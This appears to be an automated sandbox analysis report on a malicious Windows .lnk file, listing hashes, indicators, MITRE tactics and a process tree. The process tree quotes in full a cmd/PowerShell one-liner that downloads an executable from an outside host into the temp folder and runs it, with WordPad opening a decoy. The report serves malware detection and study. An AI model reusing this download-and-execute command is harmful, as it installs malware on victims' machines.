fca13c961e8ca0c84328b26d342b365b8867b250a1c8bc4688ce35e993b9864e

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
02/02/2023, 13:36

Target

43843_8439_8329098.lnk
Size

130KB
MD5

2fcb95c29131b2bdb9f864f492a3bcd1
SHA1

7ffa77710ae6a95b3759643852a5a829c550a36e
SHA256

36a4e3cebb2ed11077cca219e6033a31a60fc8924ed48b79e216d4ceefcc08f5
SHA512

a527d90b15ce7556ae167aba16cfbda8d213b87ec8d2e095ba57060ae7af3315de7bfcbbaddca8e7ad4ff8c7f6a40f5f9e3b8bdea25292a24f2d31740368baa7
SSDEEP

3072:EE+n8y1Bzt+mwV4jUs8Nu+GEodNn6/f1DaiSGeQnHkJ6U:EE+nPvxwV28NTGEoEAbGXHM6U

Score

8^/10

Blocklisted process makes network request 3 IoCs

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1960	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 1748	1652	cmd.exe	29
PID 1652 wrote to memory of 1748	1652	cmd.exe	29
PID 1652 wrote to memory of 1748	1652	cmd.exe	29
PID 1748 wrote to memory of 1960	1748	cmd.exe	30
PID 1748 wrote to memory of 1960	1748	cmd.exe	30
PID 1748 wrote to memory of 1960	1748	cmd.exe	30
PID 1748 wrote to memory of 1564	1748	cmd.exe	31
PID 1748 wrote to memory of 1564	1748	cmd.exe	31
PID 1748 wrote to memory of 1564	1748	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\43843_8439_8329098.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /R set U=http:/&powershell "$J=new-object system.net.webclient;$J.downloadfile($env:U+'/myscs.ca/valued_sp3_update.exe',$env:tmp+'\Up.exe');"&"C:\Program Files\windows nt\accessories\wordpad" c:\pagefile.sys&C:\Users\Admin\AppData\Local\Temp/Up&g3Jerl:+hqw^-BdjJd&cjM34{_________
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "$J=new-object system.net.webclient;$J.downloadfile($env:U+'/myscs.ca/valued_sp3_update.exe',$env:tmp+'\Up.exe');"
    3⤵
    - Blocklisted process makes network request
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1960
- - C:\Program Files\windows nt\accessories\wordpad.exe
    "C:\Program Files\windows nt\accessories\wordpad" c:\pagefile.sys
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:1564

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1652-54-0x000007FEFBB11000-0x000007FEFBB13000-memory.dmp

Filesize
8KB

Download
memory/1960-94-0x000007FEF4130000-0x000007FEF4B53000-memory.dmp

Filesize
10.1MB

Download
memory/1960-96-0x0000000002714000-0x0000000002717000-memory.dmp

Filesize
12KB

Download
memory/1960-95-0x000007FEF35D0000-0x000007FEF412D000-memory.dmp

Filesize
11.4MB

Download
memory/1960-97-0x000000000271B000-0x000000000273A000-memory.dmp

Filesize
124KB

Download
memory/1960-98-0x0000000002714000-0x0000000002717000-memory.dmp

Filesize
12KB

Download
memory/1960-99-0x000000000271B000-0x000000000273A000-memory.dmp

Filesize
124KB

Download